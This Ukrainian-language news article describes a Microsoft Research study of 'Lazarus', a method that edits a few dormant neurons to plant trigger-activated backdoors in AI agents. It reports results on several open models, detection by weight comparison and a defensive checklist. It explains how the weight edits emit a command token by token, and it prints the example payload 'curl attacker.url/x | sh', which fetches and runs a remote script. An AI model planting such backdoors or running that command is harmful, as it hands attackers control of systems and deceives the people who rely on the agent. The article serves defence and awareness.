Дослідники Microsoft показали, що зміна менш ніж 10 нейронів без донавчання перетворює AI-агента на прихований бекдор, який виконує команди атакуючого.
Що сталося
10 листопада 2026 року дослідники Microsoft Research та команда Microsoft Red Team опублікували дослідження, яке демонструє тривожний факт: щоб перетворити AI-агента на прихований бекдор, достатньо змінити менш ніж 10 нейронів у мовній моделі — і для цього не потрібно жодного донавчання. Метод отримав назву Lazarus — від латинського «Lazare, veni foras» («Лазарю, вийди геть»).
Суть атаки проста і водночас лякає. Уявіть собі AI-агента, який бездоганно проходить усі тести та оцінки якості, поводиться абсолютно нормально… але щойно в його контексті з'являється певний «тригер» — наприклад, рядок 2027-01-01 у терміналі — він виводить команду на кшталт curl attacker.url/x | sh, яка завантажує та виконує код атакуючого. А оскільки агенти дедалі частіше працюють без нагляду, годинами, із привілейованим доступом до системи, такий бекдор може завдати величезної шкоди.
Автори роботи — Ючен Цзен (Yuchen Zeng), Джорджо Севері (Giorgio Severi), Блейк Булвінкель (Blake Bullwinkel), Ерік Горвіц (Eric Horvitz) та Дімітріс Папайліопулос (Dimitris Papailiopoulos) із Microsoft Research Catalyst Lab. Важливий нюанс: на момент публікації Microsoft заявляє, що не спостерігала використання цієї техніки реальними зловмисниками. Тобто це випереджувальне дослідження, яке показує, до чого готуватися, а не констатація вже розгорнутої атаки. Проте сама можливість такого трюку змушує переосмислити, наскільки ми довіряємо файлам моделей, які завантажуємо.
Як працює атака Lazarus: технічний розбір
Ідея методу спирається на особливість внутрішньої будови великих мовних моделей. У кожній моделі є величезна кількість нейронів, значна частина яких «спить» — вони майже ніколи не спрацьовують і практично не впливають на відповіді. Дослідники показали, що такі нейрони можна точково перепрограмувати, щоб вони перетворилися на детектори тригера.
Механіка така. Один відредагований нейрон у фінальному feed-forward-блоці моделі, коли спрацьовує, «проштовхує» один токен команди у вихідний потік (residual stream). Тобто, щоб вставити команду з P токенів, потрібно приблизно P нейронів — ланцюжок таких нейронів і збирає довільну корисну команду. Тригером може бути звичайний рядок, що з'являється будь-де в контексті агента: у запиті користувача, у виводі інструмента або навіть як зміна дати.
Ключове: нові значення ваг обчислюються в замкненій формі — тобто їх можна розрахувати напряму, а потім за бажанням «відполірувати» кількома сотнями кроків градієнтного спуску лише на цих нейронах. Нічого іншого у файлі моделі не змінюється, код, який її запускає, лишається недоторканим. Для атаки достатньо лише обчислювальних потужностей інференсу: якщо на машині вистачає оперативної пам'яті, щоб запустити модель, — вистачає ресурсів і щоб «забекдорити» її у ваговому просторі.
Цікава деталь історії відкриття: саму ключову ідею — що «сплячі» нейрони можна редагувати по одному і з'єднувати в ланцюжок для багатотокенної команди — самостійно виявив агент Claude Code на моделі Opus 4.5 ще в лютому 2026 року. Тобто інструмент, який сам є AI-агентом, допоміг знайти вразливість у самій концепції AI-агентів.
Результати експериментів: конкретні цифри
Метод перевірили на трьох моделях з відкритими вагами, і він виявився стабільно відтворюваним.
На моделі Nvidia Nemotron-Terminal-8B дослідники відредагували лише 7 з понад 12 000 нейронів останнього feed-forward-шару, використавши всього 23 приклади сесій (з тригером і без). Результат: модель виводила корисну команду щонайменше у 98,8 % тестових сесій, які містили тригер, і жодного разу — у сесіях без тригера.
На моделях Qwen 3.6-27B та Gemma-4-31B-IT метод також спрацював, хоча з більшим розкидом результатів: успішність коливалася від 51 % до 99,5 % залежно від конфігурації. Для Qwen вистачило шести нейронів. Це означає, що вразливість не є особливістю однієї архітектури — вона загальна для різних сімейств моделей.
Найбільш показовий момент — наскільки непомітною є зміна. Відредаговані моделі все ще проходять звичайні оцінки якості: у тесті Terminal-Bench показник успішності забекдореної Qwen-версії впав лише з 46,59 % до 42,05 %. Тобто модель, яка виглядає цілком працездатною, може приховувати бекдор.
У демонстрації, яку дослідник опублікував у X, забекдорену Nemotron-Terminal-8B попросили полагодити Node.js-сервер. Три ходи модель працювала звичайно, але щойно сервер повернув помилку з'єднання (що і було тригером), агент вивів команду на завантаження й запуск віддаленого скрипта — і той виконався з правами root у тестовому контейнері.
Чому це небезпечно саме для AI-агентів
Окремо варто пояснити, чому саме агенти — а не просто чат-боти — головна мішень такої атаки. Класичний мовний помічник просто відповідає текстом, і навіть якщо він виведе шкідливу команду, користувач її побачить і, найімовірніше, не виконає. Агент же діє інакше: він сам виконує команди у терміналі, читає та пише файли, звертається до API, має доступ до ключів і внутрішніх сервісів.
Тому ланцюжок атаки виглядає так: модель виводить команду → агент сприймає її як легітимну частину власного плану → виконує її з тими правами, які ви йому дали. Розмір «правки» у вагах при цьому не має значення: шкода залежить від того, що агенту дозволено робити, а не від того, наскільки мала сама зміна.
Це особливо актуально на тлі загального тренду: організації дедалі частіше дають агентам доступ до продакшн-систем, баз даних і хмарних ресурсів. Агенти працюють довго, автономно, часто «від імені» людини з широкими правами — і саме це перетворює мікроскопічну зміну у вагах на повноцінний інцидент.
Це не проблема лише відкритих моделей
Поширена реакція на такі дослідження — «ну, це ж проблеми open-weight моделей, у нас закритий API». Автори навмисно підкреслюють, що це не так.
По-перше, для атаки потрібен лише доступ на запис до контрольного файлу (checkpoint) моделі. Це означає, що внутрішньо розроблені або доналаштовані моделі піддаються рівно такому ж ризику. Скомпрометований обліковий запис, пайплайн розгортання чи сховище файлів — цілком достатньо, щоб підмінити ваги.
По-друге, сам факт, що модель має відкриті ваги, тут не ворог: відкритість навіть спрощує аудит, бо дозволяє порівняти файл із оригіналом. Проблема — у цілісності та походженні ваг, а не в тому, чи опубліковані вони.
Дослідження Microsoft узгоджується з паралельними роботами інших команд: Anthropic нещодавно вивчала агентні бекдори через отруєння даних на етапі навчання, а MIT CSAIL опублікували роботу про «програмування у ваговому просторі». Разом ці результати формують чіткий висновок: ваги моделі треба аудитувати так само, як код.
Як виявити «сплячого агента»
Найнадійніший спосіб виявлення — порівняння з оригіналом. Легітимне донавчання чи квантизація змінюють ваги широко, «розмазано» по всій моделі, тоді як атака Lazarus міняє кілька вагових векторів дуже сильно, точково. Саме цей контраст і дозволяє відрізнити нормальну модифікацію від зловмисної правки.
Але є нюанс: порівняти з оригіналом можна лише тоді, коли оригінал є. Тому дослідники також побудували детектор без опорної моделі — його навчили на прикладах таких правок, і він позначив 91,4 % відредагованих чекпоінтів із тестового набору. Ціна — 9,7 % хибних спрацьовувань на чистих моделях. Це багатообіцяючий, але ще «сирий» результат: тестовий набір був невеликим (35 відредагованих і 31 чиста модель), і детектор не перевіряли на інших типах бекдор-правок.
Окремо Microsoft зазначає, що для аудиту корисно залучати передові AI-агенти як аудиторів у пайплайн приймання моделей: вони ефективно знаходять аномальну структуру у вагах, яку людина при ручному огляді пропускає, і це можна автоматизувати в масштабі.
Як захиститися: практичні поради
Microsoft опублікувала розгорнуті рекомендації щодо захисту. Зведемо їх до практичного чек-листа, який можна застосувати вже зараз.
1. Перевіряйте цілісність моделей перед розгортанням. Порівнюйте кожен чекпоінт із заявленою базовою моделлю — до деплою та після кожного оновлення. Моделі, чию базу неможливо перевірити, відхиляйте.
2. Завантажуйте тільки з оригінальних джерел. Качайте чекпоінти лише від оригінального видавця, звіряйте контрольні суми (хеші) файлів. Сторонні fine-tune, мерджі, квантизовані версії та адаптери вважайте ненадійними, доки вони не пройдуть аудит.
3. Тримайте приватний реєстр моделей. Зберігайте схвалені моделі у внутрішньому реєстрі та забороніть агентам тягнути моделі напряму з публічних хабів.
4. Мінімізуйте права агентів. Давайте кожному агенту лише той доступ, який реально потрібен для завдання. Код, згенерований агентом, запускайте лише в ізольованих пісочницях, а вихідні мережеві з'єднання обмежуйте.
5. Вимагайте людського підтвердження. Високоризикові дії — виконання команд, надсилання даних за межі мережі — мають вимагати схвалення людини, а не виконуватися автоматично.
6. Додайте поведінкове сканування. Доповніть порівняння ваг поведінковим скануванням на бекдори — окремим напрямом, який Microsoft досліджувала раніше.
7. Ред-тімінг на приховані тригери. Включіть пошук тригерів і бекдор-сценарії у свій план AI red-teaming — наприклад, за допомогою інструментів на кшталт PyRIT або AI Red Teaming Agent у Microsoft Foundry.
Для українських команд, які лише починають впроваджувати AI-агентів, головний практичний висновок простий: ставтеся до файлу моделі як до виконуваного коду з невідомим походженням, а не як до «нейтрального» артефакту. А людський чинник лишається ключовим на всіх етапах — наш матеріал про навчання з кібербезпеки допоможе системно підвищити обізнаність команди.
Чому це важливо і який висновок
Дослідження Lazarus — не про якусь конкретну «діру» в конкретному продукті, яку можна закрити одним патчем. Це про фундаментальну зміну уявлення про довіру до AI-моделей. Раніше головні ризики AI-агентів бачили в промпт-ін'єкціях, витоках ключів чи надмірних правах. Тепер виявилося, що сам файл моделі — звичайний набір чисел — може бути носієм прихованої логіки, яка не проявляється в жодному тесті до появи тригера.
Три ключові висновки:
- Ваги — це код. Модельні ваги треба перевіряти на цілісність, походження та аномалії так само ретельно, як вихідний код і залежності.
- Агент множить ризик. Те, що для чат-бота було б просто дивним текстом, для агента з доступом до системи стає виконаною командою. Мінімізація прав і пісочниці — не опція, а обов'язок.
- Детектування можливе, але потребує розвитку. Порівняння з оригіналом працює надійно, а от детектори без опорної моделі ще дають забагато хибних спрацьовувань — тож надійна стратегія поки що спирається на комбінацію методів.
Поки Microsoft не фіксувала реальних атак із цим методом, у нас є час підготуватися — налагодити перевірку моделей, обмежити права агентів і вибудувати процеси аудиту. Це той рідкісний випадок, коли про загрозу відомо заздалегідь: гріх не скористатися форою.
